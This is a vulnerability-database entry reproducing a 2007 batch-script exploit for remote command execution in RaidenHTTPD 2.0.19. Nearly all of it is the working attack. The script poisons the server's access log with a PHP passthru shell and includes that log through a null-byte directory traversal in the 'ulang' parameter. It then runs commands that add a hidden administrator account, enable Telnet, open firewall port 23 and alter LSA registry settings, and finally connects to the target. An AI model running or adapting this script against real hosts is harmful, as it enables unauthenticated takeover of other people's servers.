RaidenHTTPD 2.0.19 (ulang) Remote Command Execution Exploit

🗓️ 19 Dec 2007 00:00:00Reported by RootType
RaidenHTTPD 2.0.19 Remote Command Execution Exploit for ulan

                                                rem&nbsp;raidenhttpdudo.cmd

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@echo&nbsp;off

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;color&nbsp;0a

rem&nbsp;RaidenHTTPD&nbsp;2.0.19&nbsp;ulang&nbsp;cmd&nbsp;exec&nbsp;poc&nbsp;exploit&nbsp;
rem&nbsp;WebAdmin&nbsp;one&nbsp;-&nbsp;not&nbsp;enabled&nbsp;by&nbsp;default&nbsp;anymore&nbsp;
rem&nbsp;however&nbsp;works&nbsp;regardless&nbsp;of&nbsp;&nbsp;php.ini,&nbsp;because&nbsp;
rem&nbsp;&quot;ulang&quot;&nbsp;comes&nbsp;from&nbsp;$_GET[]&nbsp;and&nbsp;some&nbsp;magic_quo
rem&nbsp;tes_gpc&nbsp;disable&nbsp;code,lame&nbsp;&nbsp;divertissement&nbsp;one
rem&nbsp;to&nbsp;demonstrate&nbsp;an&nbsp;&nbsp;unauthenticated&nbsp;&nbsp;directory&nbsp;
rem&nbsp;traversal&nbsp;&nbsp;...
rem&nbsp;rgod&nbsp;----------http://violentcop.splinder.com

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;{%1}=={}&nbsp;goto&nbsp;kill

echo&nbsp;HEAD&nbsp;/?^&lt;?ob_end_clean();ob_clean();passthru($_GET[CMD]);die;?^&gt;&nbsp;HTTP/1.1&gt;in
echo&nbsp;Host:&nbsp;%1&gt;&gt;in&nbsp;&amp;&nbsp;echo&nbsp;Connection:&nbsp;Close&gt;&gt;in&nbsp;&amp;&nbsp;echo.&gt;&gt;in
nc&nbsp;%1&nbsp;80&nbsp;-v&nbsp;-w1&lt;&nbsp;in&nbsp;&gt;&nbsp;nul
echo&nbsp;..\..\..\logs\access_%date:~6,4%-%date:~3,2%-%date:~0,2%.log%%00&gt;&nbsp;puf&nbsp;&amp;&nbsp;set&nbsp;/p&nbsp;exploit=&lt;&nbsp;puf&nbsp;
echo&nbsp;GET&nbsp;/raidenhttpd-admin/workspace.php?CMD=cmd.exe+%%2Fc+net+user+sun+tzu+%%2Fadd+%%26+net+localgroup+Administrators+sun+%%2Fadd+%%26+sc+config+NtLmSsp+start%%3D+auto+%%26+sc+config+RpcSs+start%%3D+auto+%%26+net+start+RpcSs+%%26+net+start+NtLmSsp+%%26+sc+config+TlntSvr+start%%3D+auto+%%26+net+start+TlntSvr+%%26+netsh+firewall+add+portopening+tcp+23+sh+%%26+echo+REGEDIT4+%%3E+sh.reg+%%26+echo+%%5BHKEY_LOCAL_MACHINE%%5CSYSTEM%%5CCurrentControlSet%%5CControl%%5CLsa%%5D+%%3E%%3E+sh.reg+%%26+echo+%%22forceguest%%22%%3Ddword%%3A00000000+%%3E%%3E+sh.reg+%%26+regedit+%%2FS+sh.reg^&amp;ulang=%exploit%&nbsp;HTTP/1.1&gt;&nbsp;in
echo&nbsp;Host:&nbsp;%1&gt;&gt;in&nbsp;&amp;&nbsp;echo&nbsp;Connection:&nbsp;Close&gt;&gt;in&nbsp;&amp;&nbsp;echo.&gt;&gt;in
echo&nbsp;please&nbsp;wait&nbsp;...
nc&nbsp;%1&nbsp;80&nbsp;-v&nbsp;-w1&lt;&nbsp;in&nbsp;&gt;&nbsp;nul
ping&nbsp;localhost&nbsp;-n&nbsp;15&gt;nul&nbsp;&amp;&nbsp;rem&nbsp;delaying&nbsp;...
del&nbsp;puf
del&nbsp;in
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;telnet&nbsp;%1&nbsp;23

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto&nbsp;nowhere

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:kill
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo&nbsp;%0&nbsp;[target-host]

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;:nowhere

rem&nbsp;
19 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1